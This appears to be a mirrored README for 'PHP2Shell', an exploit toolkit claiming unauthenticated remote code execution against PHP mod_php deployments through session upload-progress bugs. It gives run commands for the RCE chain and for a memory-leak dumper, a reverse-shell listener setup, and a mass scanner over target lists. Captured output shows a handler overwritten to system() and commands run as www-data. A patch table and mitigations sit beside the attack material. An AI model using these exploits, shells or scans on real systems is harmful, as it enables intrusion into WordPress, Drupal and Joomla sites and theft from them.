Skip to content
Exploit for Improperly Controlled Sequential Memory Allocation in Php

Exploit for Improperly Controlled Sequential Memory Allocation in Php

Sploitus • October 22, 2026

[![CVE-2026-109618](

[![CVE-2026-109619](

[![CVSS](

[![PHP](

[![CI](

[![License: MIT](

[![Python 3.8+](

[![Docker](

[![Platform](

**PHP2Shell** is a full-chain exploit toolkit for critical vulnerabilities in PHP's session upload progress handler. These bugs affect **every PHP application** running on `mod_php` — no authentication, no file upload, no `session_start()` required. Just a single HTTP POST to any `.php` endpoint is enough.

Originally discovered by [Wiz Research]( (Oct 2026), this repository provides independently verified proof-of-concept exploits covering **4 distinct bugs** and **6 exploit paths** across WordPress, Drupal, and Joomla.

> **⚠️ Severity:** Unauthenticated RCE with CVSS 9.2. Affects ~30% of all PHP deployments using `mod_php` (Apache prefork).

| 1 | Session upload-progress stale global | CVE-2026-109619 | **Remote Code Execution** | PHP 8.2–8.4 mod_php |

| 2 | Session cookie memory disclosure | CVE-2026-109618 | **Heartbleed-style memory leak** | PHP 8.2–8.4 mod_php |

| 3 | Fatal-error backtrace UAF | CVE-2026-109619 | **Cross-request UAF primitive** | PHP 8.5.0–8.5.11 |

| 4 | OPcache type confusion | — | **Type confusion via OOM** | PHP 8.x (research) |

| 🔴 Remote RCE (mod_php) | Bug 1 + Bug 2 | WordPress / Drupal / Joomla | None (0-click) |

| 🔴 Local RCE (8.3.x) | var_destroy UAF | PHP 8.3.0–8.3.35 CLI/Web | Local access |

| 🟠 Memory Disclosure | Bug 2 standalone | Any PHP app on mod_php | None |

| 🟡 Backtrace UAF | Bug 3 | PHP 8.5.x mod_php | `.htaccess` deprecation |

| 🟡 OPcache Confusion | Bug 4 | PHP 8.x with OPcache | OOM precondition |

| 🟢 Scanner | Version + SAPI detect | Mass scanning | Network access |

git clone

This starts **WordPress** (`:9080`), **Drupal** (`:9081`), and **Joomla** (`:9082`) — all running vulnerable PHP 8.4.26 on `mod_php`.

python3 exploit/php2shell_exploit.py -u -c "id>/out/p" --target-os linux

# Memory Disclosure (any app, no session needed)

python3 exploit/memdisclosure.py -u --dump leak.bin --analyze

python3 tools/scanner.py -u

python3 tools/shell_server.py --lhost YOUR_IP --lport 4444

python3 exploit/php2shell_exploit.py -u --shell --target-os linux

██████╗ ██╗ ██╗██████╗ ██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗

██╔══██╗██║ ██║██╔══██╗╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║

██████╔╝███████║██████╔╝ █████╔╝███████╗███████║█████╗ ██║ ██║

██╔═══╝ ██╔══██║██╔═══╝ ██╔═══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║

██║ ██║ ██║██║ ███████╗███████║██║ ██║███████╗███████╗███████╗

╚═╝ ╚═╝ ╚═╝╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝

[*] Hedef:

[*] Stage 3: HTDATA=0x7242f24690d8 zif_system=0x7242f4536370

PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

### Memory Disclosure (4096 bytes leaked)

[*] Hedef:

[*] Mod: Memory Disclosure (application-agnostic)

============================================================

============================================================

[*] function_table: 0x5555569f3580 (2847 functions)

[*] var_dump handler = 0x555556a03a28 (current=0x555555c8e640)

[*] Overwriting var_dump handler -> zif_system...

[*] Calling var_dump('id; uname -a') -> system()...

Linux php836-lab 6.8.0 #1 SMP x86_64 GNU/Linux

> The images below are rendered directly from the raw transcripts in

> [`evidence/`](evidence/) by [`tools/render_evidence_images.py`](tools/render_evidence_images.py) —

> what you see is byte-for-byte what's in the text files. Verify integrity with

> `shasum -a 256 -c evidence/SHA256SUMS` (see [`evidence/README.md`](evidence/README.md)).

### WordPress RCE — PHP 8.4.26 / mod_php (`uid=33(www-data)`)

![WordPress RCE evidence](docs/images/evidence-wordpress_rce.png)

### Memory Disclosure — 4096-byte heap leak via session cookie

![Memory disclosure evidence](docs/images/evidence-memdisclosure.png)

### Drupal & Joomla — same chain, application-agnostic

### Patched vs Unpatched & FPM vs mod_php

| WordPress RCE | [`evidence/wordpress_rce.txt`](evidence/wordpress_rce.txt) |

| Drupal RCE | [`evidence/drupal_rce.txt`](evidence/drupal_rce.txt) |

| Joomla RCE | [`evidence/joomla_rce.txt`](evidence/joomla_rce.txt) |

| Memory disclosure | [`evidence/memdisclosure.txt`](evidence/memdisclosure.txt) |

| Patched vs unpatched | [`evidence/patched_vs_unpatched.txt`](evidence/patched_vs_unpatched.txt) |

| FPM vs mod_php | [`evidence/fpm_vs_modphp.txt`](evidence/fpm_vs_modphp.txt) |

| Integrity manifest | [`evidence/SHA256SUMS`](evidence/SHA256SUMS) |

├── README.md # You are here

│ ├── php2shell_exploit.py # Bug 1+2: Remote RCE chain (mod_php)

│ ├── memdisclosure.py # Bug 2: Heartbleed-style memory leak

│ ├── php2shell_836_poc.php # PHP 8.3.x local RCE (/proc/self/mem handler swap)

│ ├── bug3_backtrace_uaf.py # Bug 3: Fatal-backtrace cross-request UAF

│ └── bug4_opcache_confusion.py # Bug 4: OPcache type confusion via OOM

│ ├── scanner.py # CVE detection scanner (version + SAPI)

│ ├── shell_server.py # Cross-platform reverse shell server

│ ├── calibrate_offsets.py # nm -> exploit offset calibration

│ └── render_evidence_images.py # evidence/*.txt -> PNG screenshots

│ └── test_units.py # Unit tests (python3 -m unittest)

│ ├── docker-compose.yml # WordPress + Drupal + Joomla lab

│ ├── Dockerfile.836 # PHP 8.3.6 isolated lab

│ ├── Dockerfile.bug3 # PHP 8.5.11 backtrace UAF lab (profile)

│ ├── Dockerfile.bug4 # OPcache confusion lab (profile)

│ ├── www-bug3/ # oom.php + index.php + .htaccess

│ ├── www-bug4/ # oom.php + opcache_probe.php

│ └── setup.sh # Automated lab bootstrap

│ ├── images/ # Evidence screenshots (PNG)

│ ├── TECHNICAL.md # Deep technical analysis

│ ├── PATCHED_VS_UNPATCHED.md # Patch verification results

│ └── WIZ_REPRODUCTION.md # Wiz blog reproduction guide

│ ├── wordpress_rce.txt # WordPress RCE proof

│ ├── drupal_rce.txt # Drupal RCE proof

│ ├── joomla_rce.txt # Joomla RCE proof

│ ├── memdisclosure.txt # Memory disclosure proof

│ ├── fpm_vs_modphp.txt # FPM vs mod_php comparison

│ └── patched_vs_unpatched.txt # Patch verification

├── LICENSE # MIT License

| PHP 8.4.26 | ✅ 4096 bytes | ✅ `uid=33(www-data)` | 🔴 **VULNERABLE** |

| PHP 8.4.27 | ❌ Failed | ❌ N/A | 🟢 **PATCHED** |

| PHP 8.5.11 | — | — | 🔴 Bug 3 UAF confirmed |

| PHP 8.5.12 | ❌ Failed | ❌ N/A | 🟢 **PATCHED** |

| `mod_php` (prefork) | ✅ RCE confirmed | Shared process, globals persist |

| `php-fpm` | ❌ 10/10 failed | Separate process model, clean state |

| `php-cgi` | ❌ Not exploitable | Per-request process |

| PHP Branch | Vulnerable Range | Fixed In | Notes |

|------------|-----------------|----------|-------|

| 8.4.x | 8.4.0 – 8.4.26 | **8.4.27** | Primary target, most common |

| 8.3.x | 8.3.0 – 8.3.35 | **8.3.36** | var_destroy UAF path |

| 8.2.x | 8.2.0 – 8.2.34 | **8.2.35** | Session handler affected |

| 8.1.x | 8.1.x (all) | **EOL** | No fix, upgrade required |

| 8.0.x | 8.0.x (all) | **EOL** | No fix, upgrade required |

| 8.5.x | 8.5.0 – 8.5.11 | **8.5.12** | Bug 3 backtrace UAF |

| 7.x | Not affected | — | Different session handler |

| 5.x | Partially affected | — | Memory disclosure only |

sudo apt update && sudo apt upgrade php8.4

| Switch to PHP-FPM | `a2dismod php8.4 && a2enmod proxy_fcgi` | ✅ Full mitigation |

| Disable upload progress | `session.upload_progress.enabled = 0` in `php.ini` | ✅ Blocks exploit chain |

| Lower memory limit | `memory_limit = 2M` | ⚠️ Partial (breaks large apps) |

| WAF rule | Block multipart with `PHP_SESSION_UPLOAD_PROGRESS` | ⚠️ Bypassable |

### Remote RCE Exploit (`php2shell_exploit.py`)

# Lab (shared volume): proof is read from the local ./proof mount.

# Remote target: verify the proof over HTTP instead of a local file

# NOTE: Bundled Windows offsets are placeholders. Calibrate first:

# nm -D libphp*.dll / hedef ikili > nm.txt

# python3 tools/calibrate_offsets.py --nm nm.txt

### Memory Disclosure (`memdisclosure.py`)

python3 exploit/memdisclosure.py -u

python3 tools/scanner.py -u

python3 tools/scanner.py -t targets.txt -o results.csv

python3 tools/scanner.py -u --https --timeout 15

| Wiz Research Blog | [PHP2Shell: Chaining 4 Bugs for PHP RCE]( |

| PHP Advisory | [PHP Security Advisory (Oct 2026)]( |

| CVE-2026-109618 | [NVD Entry]( |

| CVE-2026-109619 | [NVD Entry]( |

| GHSA-6wmf-4rv5-p3rp | [GitHub Security Advisory]( |

| Calif Research | [Independent Reproduction]( |

- **Wiz Research** — Original discovery of the 4-bug chain and responsible disclosure

- **MuratNoyan-Cybersecu** — Independent reproduction, cross-platform exploit development, 3 CMS verification, scanner & tooling

- **PHP Security Team** — Rapid patching (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12)

This tool is provided for AUTHORIZED SECURITY TESTING and EDUCATIONAL PURPOSES ONLY.

Usage of this tool against targets without prior mutual consent is ILLEGAL.

It is the end user's responsibility to obey all applicable local, state, and

federal laws. The developers assume NO liability and are NOT responsible for

any misuse or damage caused by this program.

and accept full responsibility for your actions.

**If this research helped you, consider giving it a ⭐**

Made with 🔬 by security researchers, for security researchers.